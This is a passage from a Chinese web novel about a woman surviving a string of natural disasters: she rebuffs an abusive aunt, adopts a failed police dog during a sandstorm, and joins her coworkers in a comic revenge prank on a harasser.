原主的父母去世后，就被秦凤和她丈夫收养了。 她长得很漂亮，个子虽然高挑，但她身上却有一股柔弱小白花的气质。大学刚毕业，就凭着自身的条件优势，傍了个有钱的公司高管，之后就一天班都没上过，一直在家里当全职太太。 按理说，他们家条件不差，还拿了原主父母的抚恤金，养大原主一个孩子，根本就没有压力。 但他们夫妻俩，却一直把原主当佣人使唤，秦凤要是在她老公那受了气，还会故意拿鸡毛掸子抽原主、让原主跪搓衣板，在原主身上撒气。 秦凤身上虽然有股柔弱小白花的气质，但她力气却不小，打人的时候一点都没留手，原主小时候没少吃苦头。 秦小薇穿过来没多久就接到了秦凤的电话，说让她暑假回去给原主的堂弟补课，让他上个重点高中…… 原主那堂弟，根本就是一个小混混，小学没毕业的时候，就学着他爸爸抽烟，小学数学，他都能拿个位数的成绩，初中更是他爸爸塞钱进的，月考几门考试的总成绩加起来，也才一百多分……秦小薇穿越过来后，一度怀疑他是个智障。 她在他这个年纪，就算考试的时候用脚答卷子，也不会拿个位数的成绩。 秦小薇节假日一直忙着摆摊赚钱还助学贷款，根本就没闲工夫搭理她，直接就把夫妻俩的电话拉黑了，谁知道她竟然找到她们导员和学院老师，说了一堆有的没的，还让导员过来“劝”她暑假回家给她堂弟补课。 秦小薇表面答应，回老家后，却给夫妻俩来了个大的——她直接闹去了原主姑父的公司，把他们夫妻俩这些年干的事全都抖了出来，还爆出了原主姑父贪污的事。 最后不仅把原主姑父的工作给弄没了，还差点让他喜提一副银手镯。 之后，她又说要和夫妻俩算原主爸妈抚恤金的事，让夫妻俩主动找律师和她签了“切割经济联系”的合同。 虽然她没能让他俩把原主爸妈的抚恤金吐出来，但表面上，她和那一家子极品亲戚算是断绝了关系。 因为秦小薇人在外省，他们想找她麻烦也困难，从那以后，这对极品夫妻，就没再联系过她。 没想到，她们现在竟然因为这接二连三的天灾又见面了…… 秦小薇看着秦凤膝盖上的泥印，有些遗憾，现在怎么不是夏天？要不然她这么一摔，膝盖肯定要破了！ 秦小薇脸上是毫不掩饰的嫌弃：“认出来了，我可不像你，年纪轻轻就老年痴呆，忘了咱们已经断绝关系的事！” 秦小薇：“唉，真晦气！怎么会碰到你？看来回去得跨个火盆去去晦气！” 秦凤收起脸上的笑，切换成伤心的表情：“你这孩子，胡说什么呢？咱们可是亲姑侄，有血缘关系的，打断骨头还连着筋呢！关系哪能是说断绝就断绝的……以前那都是我们的气话，你把老朱工作给弄没了，我们实在是太生气了，才会说出那番话……小薇你别放在心上！一家人哪有隔夜仇？” 变脸速度堪称一绝！ 这陈年老绿茶的味儿也太浓了！秦小薇嫌弃地撇了撇嘴。 说着，秦凤就亲亲热热地过来挽她的胳膊：“咱们这都好几年没见了！快带我去你家坐坐，和我说说，你这些年都是怎么过的……可怜的孩子，你毕业后没爸妈帮衬，过得不容易吧！” 秦小薇直接拍开她的手，然后一个“手滑”，手里的饮用水直接飞了出去，砸在秦凤脸上。 想到之前去江安区当志愿者的经历，秦小薇瞬间明了，她找过来的目的。 估计是为了她的房子！江安区那边住的都是二手帐篷，有些还会漏雨……这段时间，气象局时不时就来场人工降雨或是人工降雪，那帐篷说不定什么时候就彻底报废了。 为了新住处“忍辱负重”似乎也挺符合秦凤一贯的作风。 毕竟以前，不管她老公怎么惹她生气，她都能为了富足的生活小意温柔，当朵菟丝花…… 秦小薇不高兴道：“你突然碰我干什么？我水都掉了！” 她捡起地上的瓶装水，声音愈发不满：“都沾到泥了！我就说碰到你晦气吧？水都弄脏了！” 脸都快被砸青了的秦凤：“……” 秦凤委屈道：“小薇，我知道你是在怪我前些年没照顾好你！但我也是手掌心朝上，要人养的，我也是没办法……你就原谅姑姑吧！” 秦小薇：“原谅你？行啊！” 还不等秦凤的脸上露出喜色，秦小薇就继续补充道：“先给我转一百万看看诚意！” 秦凤：“……”她要是有钱，现在还会在这看她脸色？ 秦小薇无视她难看的表情，继续补刀：“赔礼都没有，你这也叫道歉？等你准备好一百万的赔礼再来找我吧！” 说着，她就绕过秦凤，干净利落地离开了，徒留她一个人留在原地，差点气到吐血。 第二天早上，秦小薇进空间里做了点吃的，就开车去了陆昼他们小区。 陆昼开门 后没多久，戴着“耻辱圈”的拉布拉多就扑了上来。 秦小薇连忙伸手拦它：“别扑！别扑！你刚做完手术，小心动作幅度太大，伤口裂开了！” 她看向陆昼：“你怎么不让它在狗笼子里好好养伤？” 陆昼无奈叹气：“这家伙受伤以后仗着我不会罚它，脾气越来越大了，不放它出来就一直嚎，吵得我耳膜都快炸了……” 秦小薇：“……”还会看人下菜碟，和它主人一样精！ 她观察了一下，发现拉布拉多受伤的那只腿是半曲着的，根本没有落地，它走路的时候，两条前腿正常迈步，后腿就得蹦跶着前进。 就算瘸了，也没能阻挡住它奔向“自由”的心，拉布拉多在屋里蹦跶地欢，精力十分旺盛。 秦小薇：四条腿就是好，受伤了都不用拄拐杖！ 陆昼把拉布拉多赶去地毯上趴着，才问她：“你来找我有什么事？” 秦小薇从仓库里拿出一个塑料袋：“来探望伤员，我炖了点筒子骨，拿来给它补补身体……这份没放盐，香肠可以吃。” 听到有吃的，原本已经趴下的拉布拉多又瞬间“支愣”起来。 秦小薇觉得，如果它的耳朵能立起来，现在肯定已经竖得老高了！ 第93章 第93章沙尘暴（双更合一）…… 看到拉布拉多的馋样,秦小薇忍不住笑了起来，她看向一旁的陆昼：“现在可以喂它吗？” 陆昼点头：“我去拿它的饭盆……” 筒子骨上有不少肉，拉布拉多啃完骨头后,还可以用它磨牙。 就算瘸着一条后腿,也丝毫不影响它干饭的速度,陆昼放下装着肉骨头的饭盆后，它就把脸埋在狗盆里,狼吞虎咽地干饭。 可能是担心它到处乱跑会影响伤口愈合,陆昼找医生重新帮它处理了伤口，除了厚厚的绷带,它受伤的那条后腿上还固定了夹板，只要不是刻意压到，伤口几乎不会撕裂。 看着拉布拉多大口干饭的模样,秦小薇忍不住感叹道：“香肠恢复得可真快,它做完手术才两天吧？就跟没事狗似的了……” 听到她的嘟囔，陆昼忍不住拆台：“那是因为我让人给它弄了镇痛药，刚回来那天,香肠疼得嗷呜嗷呜叫，折腾了一整夜……昨天还偷偷躲在窝里哭,一整天都没吃东西,娇气得很！” 虽然嘴上嫌弃，可他看着香肠的眼神里却满是温柔。 秦小薇这才注意到，陆昼眼底一片青黑,显然，拉布拉多在家里养伤这两天，他也没少跟着一起折腾。 不过……香肠躲在狗窝里哭？那画面想想还有点好笑是怎么回事？ 秦小薇：“它偷偷哭的时候，你拍视频了吗？” 陆昼：“……没有。” 秦小薇有些遗憾：“这可是香肠的成长轨迹,你应该记录下来的！你这个主人，还是不够合格！” 陆昼：“……” 两人一站一蹲，站在拉布拉多左右两边，围观狗子干饭，等它吃得差不多了，陆昼才问她：“秦小薇，你还有别的事吗？” 秦小薇从地上站了起来：“没有，就是过来慰问一下伤员，对了……之前进抢救室那两位缉毒警怎么样了？” 毕竟是自己献了400CC血救回来的人，她还是挺关心后续的。 她也不希望自己的血白流…… 陆昼：“已经脱离危险转去军区医院了，之前那个医疗点条件太差了，病房连个门都没有，不利于病人恢复……” 知道他们都脱离危险了，秦小薇放心了。 秦小薇：“那行，没什么事，我就先走了……” 她刚打开陆昼家的大门，眉头就皱了起来。 怎么又起雾了？ 她怎么觉得，每次她来找陆昼，碰到“恶劣天气”的概率就格外的高？ 秦小薇看着玻璃窗外的景色直皱眉：“陆昼，今天外面的雾怎么是黄色的？变异了？” 陆昼他们小区的房子和外面其他的房子不一样，连廊和门前的区域都用玻璃窗封起来了，不管外面是下雨还是下雪，都不会影响楼里的人正常活动。 雾气暂时没有弥漫进来，秦小薇还能看清门口停着的车和外面种着菜的花圃。 闻言，原本坐在沙发上盯着狗啃骨头的陆昼走了出来，他看了眼外面黄色的大雾，随手关上房门：“现在出行不安全，你等一会再走吧！” 关上门之后，他才开口解释道：“A省出现了沙尘暴，影响到了咱们这边……放心吧！咱们Q省附近有山脉挡着，沙尘暴过来的时候已经不严重了，出门的时候，准备个头巾把脸裹起来就行了，不会影响什么……” 见他说得轻描淡写，秦小薇松了口气：“那这场沙尘暴会持续多久？” 陆昼皱眉思考了一会：“我记得没多久……好像一两个星期就结束了？” 秦小薇：似乎还行？ 她打开手机看了下网上的消息，除了宁市，国内还有不少城市都受到了A省沙尘暴的影响，很多地方的官方也发了通知，提醒市民们警惕沙尘暴带来的呼吸系统、眼睛和皮肤的问题。 之前地震和台风的破坏力实在是太大了，国内不少产业链都被破坏了，至今都没有恢复。 医疗系统从很久之前就处于超负荷的状态，要是这个时候大规模爆发了什么疾病，国内的医疗系统不一定能应付过来。 有很多网友都上传了沙尘暴的照片，天空被翻涌的黄沙占据，云朵和阳光都被遮住了，那些沙尘像是一个巨大的怪兽，随时准备吞噬人类和城市。 不过就像陆昼说的那样，这天气虽然有些影响出行，在户外，张嘴就会吃一大口沙子，但出门的时候做好防护，或是直接待在室内，对普通人的正常生活影响并不大…… 当然，爆发了沙尘暴的A省除外，A省那边，建筑几乎都变成了黄色的，街上全是沙子，人在街上走一圈，不到五分钟，身上就会多上一层黄色的“盔甲”，和Q省之前的大雾一样，A省的普通人几乎没法出行…… 这么一对比，他们这边的情况好像确实还行， 秦小薇正刷着网友们发的、应对沙尘暴的小技巧，奚川的消息却从屏幕上方跳了出来。 【奚川：[链接]】 【奚川：还要继续吗？】 他发的是个长视频的网盘链接，有好几个G。 【秦小薇：稍等，我看下视频！】 之前和员工们“开会”的时候，她们就商量着，让那个猥琐男尝一尝被骚扰、猥亵、有苦说不出的滋味。 不过，找个异性去干这件事，对他来说，可能算是“奖励”，所以，她们商量着找个男的去干这件事。 她们健身房的员工都是女孩子，谁去都不合适，秦小薇才会找上奚川，想和他借个保镖……她开口的时候，还担心奚川家的保镖会有顾虑，还准备了备选方案，没想到，他竟然很痛快地答应了！ 秦小薇觉得，像奚川这种有钱人找的保镖，应该都挺有实力的，就算那个猥琐男动手，也不会吃亏。 秦小薇把视频保存进网盘之后，直接点了在线播放。 为了方便“做任务”，奚川的保镖直接在猥琐男的隔壁搞了个床位，和他耗了一整天。 镜头有些晃，视频没有拍到保镖的脸，只能听到他的声音，但因为是高清摄像头，就算镜头有些晃，猥琐男的脸也能看得一清二楚。 刚开始的时候，他还躺在被褥上正常睡觉，但可能是保镖的存在感太强了，他很快就躺不下去了。 猥琐男：“你冲我抛媚眼干什么？” 保镖的声音平板无波：“我眼睛进沙子了，不舒服……” 猥琐男：“……哦。” 保镖：“我看你长得挺帅的，有男朋友吗？” 猥琐男惊愕：“什、什么？” 保镖：“问你有没有男朋友？” 猥琐男的表情有些慌张，他下意识裹紧了身上的小被子：“我是男的！” 保镖：“男的就不能交男朋友了？” 猥琐男：“……” 之后大半个晚上，保镖都在和他熬鹰，时不时来几句暗示性十足的话，还把手放到了对方的被子上。 保镖可能是个直男，也可能是因为第一次做这种事不熟练，全程语气都很僵硬，猥琐男则被吓得满脸惨白……两人之间的反差让秦小薇全程都在“哈哈哈”。 看到她眼泪都笑出来了，陆昼忍不住开口道：“悠着点，小心笑抽过去！你在看什么？” 秦小薇简单和他说了下事情的经过：“……原来你们男的被骚扰的时候也会害怕啊？哈哈哈哈他的反应真的太好笑了……你要看吗？我发链接给你！” 还不等他回话，秦小薇就切回聊天软件，直接把链接转发给了陆昼。 秦小薇：“……真的太好笑了，我预感，这个视频会成为我接下来一周的快乐源泉！” 陆昼：“杀人不过头点地…… 你这么整他，他估计后半辈子都要产生心理阴影！” 秦小薇轻轻哼了一声：“那也是他活该！要不是犯法，我都想让他割以永治！” 陆昼斜靠在沙发上，胳膊撑着脑袋，他好整以暇地看着她：“秦小薇，你有没有发现，你胆子越来越大了？” 秦小薇翻了个白眼：“埋尸的事都跟着你干过了，胆子没变大也说不过去……” 陆昼：“……” 两人聊了没一会，就被从另一个方向传来的、陆昼的说话声打断了。 “出去玩！”秦小薇顺着声音看过去，就见拉布拉多站在一排彩色的宠物交流按钮边上，用嘴筒子拱其中一个按钮。 至于那根啃秃的“磨牙棒”，已经被它扔到一边了。 拱完之后，它直直地朝着秦小薇看了过来。 秦小薇：“……”它是不是忘了，自己前天才做了手术，就算用了镇痛药也不能这么放飞自我吧？ 一人一狗对视上以后，秦小薇迅速挪开视线。 她踢了下陆昼的小腿：“你的狗找你呢！” 陆昼的声音有些严厉：“不能出去玩，好好躺着养伤！” 拉布拉多没理他，继续用嘴拱宠物交流按键，于是，陆昼的声音不断在客厅里响起。 “出去玩！出去玩……” 秦小薇：“陆昼，你好像变成复读机了！” 陆昼：“……”待会就把交流按钮里的录音换了！ 它拱了一会，见秦小薇没反应，又拱了其他两个按钮，分别是“不开心”和“生气”。 秦小薇：“……”还挺有脾气！ 秦小薇以为它生气了，就要消停一会了，万万没想到，它竟然瘸着腿跳了过来，把脑袋搭在她的膝盖上，用一双湿漉漉的狗狗眼看着她，哼哼唧唧地和她撒娇。 看上去十分惹人怜爱！ 秦小薇：！！！ 这狗也太会了！ 她难得耐下性子，和它讲道理：“外面起雾了，还有沙尘暴，连路都看不清，没法出去玩。你看，我本来是要回家的，都被困在这里回不去……” 拉布拉多原地转了两圈，继续哼哼唧唧地撒娇。 秦小薇想了想：“我让小黄出来陪你玩一会？” “汪——” 她进空间里把鹦鹉带了出来，把它放出来的时候，秦小薇还有些担心，毕竟它之前在这里养伤的时候，有过自残的先例…… 但可能是因为经常被秦小薇带到公寓里学说话，鹦鹉已经习惯了忽然变换环境，这回情绪还算稳定。 有了小伙伴，拉布拉多总算是不缠着她了。 秦小薇也悄悄松了口气。 不知想到了什么，秦小薇忽然看向陆昼：“陆昼，我想领养一条退役的警犬，你有渠道吗？” 上次拉布拉多面对劫匪时的反应就让她萌生了养狗的想法，既能陪她，又能看家，简直就是居家旅行的好帮手。 但没训好的狗简直就是个灾难，比如之前的香肠…… 她不像陆昼，会驯狗，也没有把握能驯好一只狗，便想养一只驯过的，退役的警犬是她目前的第一选择。 她关注了宁市警犬基地的官方账号，他们之前倒是发布了退役警犬找主人领养的消息，但最近一年，都没有警犬在招领养。 陆昼也没问她为什么突然想养狗，他沉吟片刻，开口道：“一般退役的警犬年纪都比较大，至少7、8岁，存活的年限可能比较短，现在兽医院都关门了，晚年生病护理也是个大麻烦……我建议你去警犬基地领养一只没考上编制的，它们虽然不如正在服役的警犬，但大多条件都很优秀……” 秦小薇顿时来了精神：“要怎么领养？我直接去警犬基地问吗？还是要和领养警犬一样，提供资料让它们审核？” 陆昼拿出手机：“我帮你问问……” 他去窗户边上打了个电话，几分钟后，秦小薇的手机上收到了一份文档。 陆昼迈步走回沙发旁坐下：“有一只德牧很合适，今年一岁半……你按照文档里的内容，把资料填一下，你回去的时候就可以顺道去警犬基地接狗了！” 秦小薇有些兴奋：“真的吗？” 陆昼提醒她：“你领狗的时候，要签协议，之后，警犬基地的人也会定期回访，要是有弃养、转卖的行为，可能会闹得不太好看……” 秦小薇已经打开文档在填表了，闻言回道：“不会，我肯定养它一辈子……这个养犬经验证明我可以跳过吗？” 文档里除了要填最基本的身份信息，还要上传身份证、经济证明、居住证明和养犬经验证明，其他几样都好办，最后一项，她好像有，又好像没有？ 毕竟她也养过香肠几个月，但那都是在空间里，见不得光的，而且，香肠也不是她的狗…… 她的视线落到一旁正在和鹦鹉玩的拉布拉多身上。 咳咳咳……要不让香肠配合一下，摆拍几张照片？ 陆昼：“没事，你空着吧！这个文档就是走个过场！” 秦小薇放心了：“行！” 她填完资料后，又把文档发回给了陆昼，之后，陆昼给她发了德牧的资料。 它叫朔月，长得非常威风，是只母狗，秦小薇一眼就喜欢上了。 她捧着手机爱不释手：“这也太帅了！名字也好听……” 从今天开始，她也是有狗的人了！ 秦小薇走到窗户边上，拉开窗帘朝外面看了看，外面混着沙尘暴的大雾并没有散去，她还不能回去…… 她只能暂时按捺下激动的心情，继续待在屋里。 坐了没一会，她接到了健身房一个教练的电话。 教练：“店长，你现在在哪呢？我去你家敲门，一直没人开门……” 秦小薇：“我出来办点事……你怎么突然给我打电话，健身房出事了？” 教练：“不是，就是咱们之前整人的那个计划，你还记得吗？我学弟和周文的师兄都愿意帮忙……你什么时候回来？咱们商量一下，要怎么整他吧！” 秦小薇：“我已经找人整过他了……不过再来几次，让他加深一下印象，也挺好的！外面在刮沙尘暴，雾也大，我得等雾散了才能回去……” 挂断电话后，秦小薇回复了奚川。 【秦小薇：可以了，不用再继续了，谢谢你的帮忙！】 【奚川：不客气。】 两人的态度都是客气又生疏。 之后，她又把网盘的链接分享到了工作群和寝室群。 【秦小薇：[链接]】 【秦小薇：男人深夜夜不能寐，竟是因为……点击就看，纯情大叔的伤心二三事。】 【范槿：？？？】 【范槿：薇薇被盗号了？】 【范槿：阿霞，咱们现在是不是应该把薇薇踢出群？要不然我担心咱们群涉黄被平台封了。】 【段霞：马上！】 眼看着自己就要被踢出群聊，秦小薇连忙在群里发了条语音消息：“阿霞，别踢我，我玩个梗而已！链接是整公寓楼一个变态的记录视频，不是小黄片！” 【范槿：好险，差点误伤！】 【秦小薇：……】 之后，她又发了几条语音，把彭麦麦的事和她们说了。 【范槿：我去！好恶心！这些男的，怎么总干这样的事！官方真的不能出台法律把他们都阉了吗？】 【肖琳琳：我拉进度条到了这里，真的好好笑！你们快去看视频！】 【肖琳琳：[图片]】 【段霞：琳琳，你上班摸鱼？】 【肖琳琳：队长，我错了！下次还敢嘿嘿嘿！】 【肖琳琳：猫猫嚣张.jpg】 很快，员工群和寝室群的其他人也对视频做出了反馈，全都是一水的“哈哈哈哈”。 十一点的时候，秦小薇见外面的雾还没散，便留下来吃了顿中饭，不过，她吃的是自己之前准备的补铁餐，并没有让陆昼给她做饭。 拉布拉多在外面放了一个小时的风后，又被陆昼关回笼子里养伤了，它非常不满，一直在笼子里“嗷呜嗷呜”叫，陆昼却表现得非常“铁石心肠”。 他蹲在笼子边上，教育它：“说好了一个小时的……当狗要守信用，你要是再闹，我下次就不放你出来了！” 拉布拉多顿时闭麦。 秦小薇：“……”陆昼还说他拿香肠没办法，他驯狗不是很有一套吗？一句话就拿捏住了它！ 秦小薇在陆昼家待了大半天，外面的雾才散掉，不过外面依旧在吹黄沙，空气中的能见度依旧有限。 不过秦小薇却没再等，她已经迫不及待去警犬基地接狗了，她把小黄收进空间里，无视拉布拉多哀怨的眼神，拍拍屁股就直接离开了。 临走前，她还和陆昼讨教了一下该怎么养狗，从他那儿弄到了一批狗吃的各种营养品、狗窝、狗玩具…… 虽然还没接到朔月，但秦小薇已经在空间里整理出了一套豪华小院给它住。 路面条件并不好，秦小薇刻意放慢了车速，并不敢开太快，担心沙子把玻璃划报废，她连雨刮器都不敢开。 于是，她只能眼看着挡风玻璃外的画面越来越模糊…… 中途，挡风玻璃上的黄沙实在是影响视线，她还下车把挡风玻璃上的黄沙擦了一遍。 车身和雨刮胶条上都是沙粒，秦小薇这辆车的车顶虽然在之前下冰雹的时候被砸变形了，看上去有些破旧，但车里车外一直保持得挺干净的，弄这么脏，还是第一次…… 在沙尘暴彻底结束之前，她还是少出门吧！ 折腾了快一个小时，她才到宁市郊区的警犬基地。 在门卫那登记完信息之后，她就开车进了警犬基地，出乎她的预料，警犬基地的建筑竟然在地震中完整地保留下来了，不过这边大多是露天场地，原本也没多少建筑…… 可能是因为陆昼帮她走了后门，警犬训导员并没有为难她，签完协议，就把狗绳交到她手上了。 朔月和照片里一样威风，秦小薇蹲下来，主动握了下它的爪子：“朔月，以后我就是你的主人了！多多指教啊！” 朔月看了看警犬训导员，又看了看秦小薇，在警犬训导员鼓励的眼神中，冲着她“汪”了一声，算是回应。 秦小薇并没有急着离开，反而是和训导员打听起朔月平时的性格和爱好。 警犬训导员：“它的环境适应性不行，切换工作场景的时候，不能保持情绪稳定，所以被淘汰了……现在就是吃狗粮，一天五百克，分两次喂；现在天气冷，它吃得多一些，天热的时候，一天四百克就够了……” 第94章 第94章朔月（双更合一）…… 秦小薇又打听了一下朔月喜欢什么新鲜食物,有什么爱好。 警犬训导员皱眉思考了好一会才回答她的问题：“苹果吧！它小时候特别喜欢吃苹果，有次没看住，它一只狗就偷吃了一篮子苹果,把其他狗的份额都吃光了,后面还拉肚子进了医院,回来还被其他狗揍了……平时它表现得好，我们奖励点肉肠什么的,它也挺喜欢的。” “但现在条件有限,我们这也就只能提供肉肠……它挺懒的，不训练的时候就喜欢趴在外面晒太阳。” 聊了许久,秦小薇才带着朔月的“嫁妆”——一大袋狗粮和一个已经有些破旧的苹果抱枕上车回家。 回去的路上，她依旧开得很慢，虽然是第一次见面,但德牧表现得很乖,趴在后车座，不吵也不闹。 公寓楼的地下停车场依旧被难民们占着，秦小薇的车只能停在路边,下车后，她看着已经完全换了个色的车身,有种想要洗车的冲动,不过想想这场沙尘暴持续的时间，她还是打消了这个念头。 还是等沙尘暴结束了再考虑洗车的事！免得做白工…… 因为训导员之前说朔月环境适应性不行，才考编失败,秦小薇带它上楼的时候，一路上都很小心，生怕它会产生应激。 但出乎她的意料，德牧的情绪表现得很稳定,直到他们回到公寓，它都没出现发抖、呕吐、过度吠叫、大小便失禁之类的应激反应。 秦小薇让它自己在客厅玩，它也乖乖叼着玩具趴下了。 秦小薇：这不挺好的吗？她觉得朔月情绪挺稳定的啊！难道是警犬的要求和普通狗不一样？ 虽然如此，她还是决定再观察一下，等德牧适应几天，熟悉环境了，再带它去健身房接触更多人。 秦小薇烧了水洗头洗脸，她并没有在户外待太久，下车的时候还戴了口罩和羽绒服的帽子，但额头和头发上依旧沾了不少沙尘。 她终于理解，为什么去沙漠里旅游要戴头巾了…… 因为大雾和沙尘暴，今天健身房的生意不怎么好，之前约了课程的客人很多都打电话过来取消了预约，好几个员工都在摸鱼玩手机…… 见此，秦小薇便和大家聚在办公室里，商量了一下，整那个猥琐男的“剧本”。 例如给他塞房卡、造谣他有特殊癖好……一定要让他尝尝有苦说不出的感觉，最好是能让他产生一辈子的心理阴影！ 秦小薇：“……对了，麦麦这两天过得怎么样？那男的没再找她麻烦吧？” 彭麦麦新换的房子和健身房的员工宿舍在同一层楼，公寓楼人员密集，八卦传得特别快，彭麦麦要是出事了，她们同一层楼，肯定会知道。 一个教练开口道：“应该还行？我这两天一直盯着，没听到什么流言蜚语，麦麦也一直在屋里上网课，这两天，大家都在谈论十六楼那个老大爷和儿媳妇扒灰的事……” 秦小薇担心朔月一个人在家里会不习惯，她没在健身房待太久，和大家一起商量完“整人剧本”，就回去了。 德牧性格很乖，她离开以后，它也没有拆家，但可能是因为和秦小薇不太熟，秦小薇进门的时候，它也没有特意过来“迎接”她，依旧把爪子和脑袋搭在自己的苹果抱枕上，只抬头看了她一眼。 秦小薇也没在意，她走过去撸了下它的狗头，温声道：“朔月，带你去个地方，别害怕啊！” 德牧没什么反应，依旧趴在地上甩尾巴。 秦小薇想了想，从仓库里拿了个大苹果出来，切了一块苹果给它，用食物安抚它，等它吃完了，才牵着狗绳带它进了空间。 就像训导员之前说的那样，朔月很喜欢吃苹果，秦小薇削苹果的时候，它就在边上满眼亮晶晶地盯着她，看着垃圾桶里的苹果皮流口水…… 眼前的场景忽然变换，原本趴在地上的德牧一下子站了起来，它茫然地四处看了看，秦小薇清晰地从它的狗脸上看到了震惊。 秦小薇：“朔月，以后这里也是你的家，我带你去你的屋里看看……它叫小黄，是只鹦鹉，也是我养的，以后你们可以一起玩……” 为了方便出入，她特地把朔月住的狗屋挪到自己的猎人小屋边上。 秦小薇带它“参观”了狗屋和自己的猎人小屋，她全程都很关注它的情绪，见它没什么异样，秦小薇又奖励了它一块苹果：“做得很棒！” “汪——”吃到了苹果，它的耳朵都变成了飞机耳，可见是真的很喜欢。 可能是因为物资匮乏，警犬基地提供的狗粮的品质并不是很好，狗粮配料表的前两位竟然是玉米粉和麦麸，虽然添加了一些保护关节的软骨素和鱼油，但肉类的含量不到20%。 按照陆昼之前的科普，这种狗粮放在暴雨之前，都能称得上是“劣质”狗粮了。 不过现在普通人吃的能量饼干都是纯素的，狗粮里能放这么多肉，已经算是很“奢侈”了。 秦小薇并不打算让它继续吃狗粮，她想和陆昼一样，给朔月做狗饭，再往狗饭里添加一些别的营养品。 担心它吃惯了狗粮，一时接受不了她做的狗饭，第一顿饭，秦小薇倒了三分之二狗粮，三分之一鲜食。 然后……秦小薇就发现，她的担心完全是多余的！ 朔月先狼吞虎咽地把饭盆里的水果、鸡肉、鱼肉、蔬菜都挑出来吃了，才慢悠悠地吃饭盆里的狗粮…… 秦小薇也就吃 饭、夜跑的时候，才会带它进空间，其他时候，都让它陪自己待在公寓里。 和拉布拉多一样，比起狭小的公寓，朔月更喜欢待在空间里，才不到一天，它似乎就适应了空间里的环境，秦小薇夜跑的时候，它也在空间里疯跑，吐着舌头，看起来非常开心。 第二天早上起床后，秦小薇下意识按下床头灯，却发现屋里的灯没有亮起来。 她皱了皱眉，灯坏了？ 她下床检查了一下，见冰箱也停止运行了，才知道是停电了。 秦小薇打开手机看了看，除了她家，楼里不少住户家里都停电了，好像是因为外面风沙太大，太阳能发电板停止工作了。 秦小薇：看来陆昼说错了，这场沙尘暴，对宁市普通人的影响还是挺大的。 虽然台风已经过去一个多月了，但宁市的供电供水依旧没有全面恢复，好在官方之前一直在推广太阳能发电系统，再加上高温之后，大家都意识到了安装太阳能发电板的好处，几乎家家都买了太阳能发电板。 那东西拆下来随便找个能晒到太阳的地方挂着，接上线就能用。 所以宁市的普通市民，现在基本上都有电用。 用水则麻烦一点，市民们只能去供水车那排队接水或是直接接雨水，再用净水片处理……满足最基础的生活需求不成问题。 健身房蓄电池的容量大一些，现在还有电，但秦小薇估计，也坚持不了多久。 健身房很多器材都要通电使用，断电之后，可能会影响顾客的体验，秦小薇打开店铺的账号，置顶了一条公告，说明了情况。 现在天冷，洗澡很不方便，衣服洗了也不容易干，因为沙尘暴，在外面转一圈，身上就会沾满黄沙，洗了的衣服也没办法拿出去吹风晾干……因此，很多没有工作的普通人都不愿意出门。 健身房的生意也受到了影响，但教练们也不是完全闲着，部分住在附近的客人，依旧正常过来上课…… 做生意本来就有淡季和旺季，秦小薇看得很开，健身房生意变差了，她也没焦虑，每天照常摸鱼、拍视频宣传健身房。 不过这两天，因为要和狗联络感情，她摸鱼的地点变成了公寓…… 这天上午，秦小薇正在公寓里撸狗，寝室群里却忽然跳出来几条消息。 【段霞：薇薇，振新路这边也开了一家女子健身房。】 【段霞：你店里的生意会不会受影响？】 【段霞：[链接]】 秦小薇点进链接，段霞发的是个直播链接，屏幕里，一个戴着安全头盔的男人正站在镜头前，和直播间里的观众聊天，他身后的背景，是一大片工地，数个戴着口罩、头盔的工人正在工地上干活。 虽然他开了美颜，但秦小薇还是认出了他，赫然就是之前来店里找她加盟的那个男人。 可能是因为断电了，大家为了省电都减少了上网的时间，直播间只有几十个观众，但是互动的观众却不少，弹幕一直在刷新。 男人：“……欢迎小鱼宝宝，我们这里在建女子健身房，很快就会开业，有健身需求的宝宝可以点一下关注……后面怎么没有房子？我们是从无到有，一点点建成的，宝宝们可以养成一下！” “不是水泥房，是和安全屋一样的钢板房，按照工期两天就能弄好……为什么不建水泥房？主播也想啊！这不是弄不到建筑材料嘛！房子结不结实？建这么大会不会塌？不会的！建房子的钢板都是找厂家定制的，他们那边有专业的建筑师，图纸都是经过建筑师评估过的……” “我一个男的为什么要开女子健身馆？因为最近天某灾很多，很多女生的人身安全得不到保障，很多人有健身的需求却又找不到地方，我想帮助大家……男的可不可以过来？可以的！宝宝们，看到那边没有？我还打算在那边建一家男士健身馆，感兴趣的宝宝可以点个关注！” “……” 秦小薇看了一会，就退出了直播间。 【秦小薇：没事，振新路离我这挺远的，应该不会对店里的生意造成什么影响。】 这个市场大得很，秦小薇也没想过一直能做独门生意，况且，她的店铺虽然有好几百平，但真要是接待全市的人，那也是不够的。 况且，她对她们健身房的服务和售卖的课程还是挺有信心的……教练们教的可不是什么花架子！ 不少顾客都亲身验证过了，遇到了危险，教练们教的东西是真的能派上用场保命的！ 【段霞：你心里有数就行！】 一连在家里待了好几天，秦小薇和朔月也渐渐混熟了，朔月的性格很好，定时定点大小便，就算出了空间后，一直待在只有几十平的公寓里，也不会狗来疯拆家；就算晚上公寓楼里很吵，它也不会乱叫扰民…… 和当初的香肠完全不一样！ 它还挺聪明的，除了“坐下”、“握手”之类简单的指令，秦小薇和它说一些复杂的指令，比如说让它帮忙拿个东西什么的，它竟然也都能听得懂。 不过想想也是，要是太蠢的话，它也不会被选为警犬预备役的成员……虽然它最后被淘汰了！ 除了经常惦记垃圾桶里的垃圾，秦小薇几乎找不到它的缺点。 几天后，她把朔月带去了健身房，担心它会有过激的反应伤到人，秦小薇不仅给它戴了嘴套，还拴了牵引绳。 知道它是秦小薇从警犬基地领养的狗后，所有人都对朔月爆发了强烈的好奇心，因为帅气的外表，它还受到了健身房众人的热烈欢迎。 朔月似乎也不认生，蹲坐在地上任由健身房的众人摸它，情绪看起来十分稳定。 “它好帅啊！店长，它叫什么名字？” “薇薇姐，它是退役警犬吗？” “可惜宿舍不够大，要是我之前租的房子没被地震震塌，我也能养只这么帅的狗！” “薇薇，去警犬基地领养狗要走什么流程呀？” “……” 秦小薇：“它叫朔月，不是警犬，只是在基地上过一年学，但是没通过考核端上铁饭碗，就只能被我领养了……我是找人帮忙问的，流程和正常领养退役警犬差不多……” “没事，小月亮，考编失败也能跟着我们店长吃香的喝辣的！过几天老板给我们发菜了，姐姐请你吃鸡蛋！” 等大家新鲜劲过了，都去干活了，秦小薇才把它拴到售货区的柜子腿上，让它一边“看店”，一边陪自己卖东西。 下午的时候，秦小薇以为彻底消失的秦凤又出现了，她和她老公、儿子又找来了店里。 他们这次不是空手来的，还背着大包小包的行李。 秦小薇抱臂看着三人，语气嘲讽：“秦凤，你这是准备够钱了？准备展示一下自己道歉的诚意了？” 